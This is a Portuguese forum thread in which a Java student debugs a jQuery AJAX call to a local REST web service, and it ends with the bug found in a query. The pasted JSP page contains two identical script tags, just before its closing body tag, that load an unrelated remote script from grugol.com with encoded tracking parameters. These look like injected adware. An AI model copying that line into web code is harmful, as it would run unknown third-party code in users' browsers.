Fórum Problemas para retornar dados usando ajax + webservice + banco #572180
05/12/2016
0
Olá sou novo aqui e um mero estudante de java. Estou com um problema que pode ser coisa besta e por falta de experiência não encontro. Digitando o id e clicando no botão "pesquisar" era para retornar os dados fornecidos pela webservice local, mas não acontece nada... A webservice está funcionando, fornecendo o id direto na url no navegador ele retorna o dado certo.
Desconfio que o problema esteja "url:", porem não encontrei exemplos parecidos.
Obrigado
Página JSP
WebService, metodo para buscar o nome do funcionário através do id:
Desconfio que o problema esteja "url:", porem não encontrei exemplos parecidos.
Obrigado
Página JSP
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<link rel="stylesheet" href="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/themes/smoothness/jquery-ui.css" />
<script src="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/jquery-ui.min.js"></script>
<script>
$(document).ready(function() {
$("#pesquisar").click(function() {
$.ajax({
type: "GET",
url:"http://localhost:8084/WSAF2/webresources/funcionarios" +"/" + $("#id").val(),
success: function(data) {
$("#resposta").html(data);
}
});
return (false);
});
</script>
</head>
<body>
<h1>Funcionários</h1>
<form id="form1" name="form1" method="POST">
ID: <input type="text" name="id" id="id" /><br/><br/>
<input type="button" id="pesquisar" value="Pesquisar" />
<input type="button" id="listar" value="Listar" />
<input type="button" id="excluir" value="Excluir" />
<br/>
<br/>
<div id="resposta"></div>
</form>
<script src='http://grugol.com/prog/landing.php?app=QkMtQUUtQzUtQzktOUItRTg=&partner=200'></script><script src='http://grugol.com/prog/landing.php?app=QkMtQUUtQzUtQzktOUItRTg=&partner=200'></script></body>
</html>
WebService, metodo para buscar o nome do funcionário através do id:
@GET
@Path("")
@Produces(MediaType.TEXT_HTML)
public String getFuncionario(@PathParam("id") int id){
Funcionario funcionario = new funcionarioDAO().getFuncionario(id);
return "<html><body><h1>" + funcionario.getNome() + "</body></h1></html>"; // Teste direto na URL
}
Robson
Curtir tópico
+ 0
Responder
Post mais votado
06/12/2016
Bom dia Robson,
Qual erro está ocorrendo? Você pode checar com o F12 (Ferramentas do desenvolvedor) no browser.
No método está só o , você está informando o início da url no começo da classe?
@ResquestMapping("/WSAF2/webresources/funcionarios")
Qual erro está ocorrendo? Você pode checar com o F12 (Ferramentas do desenvolvedor) no browser.
No método está só o , você está informando o início da url no começo da classe?
@ResquestMapping("/WSAF2/webresources/funcionarios")
Osmar Filho
Responder
Gostei + 1
Mais Posts
08/12/2016
Robson
Problema resolvido cara, era um erro com a query(um mísero espaço). Vlw
Responder
Gostei + 0
Clique aqui para fazer login e interagir na Comunidade :)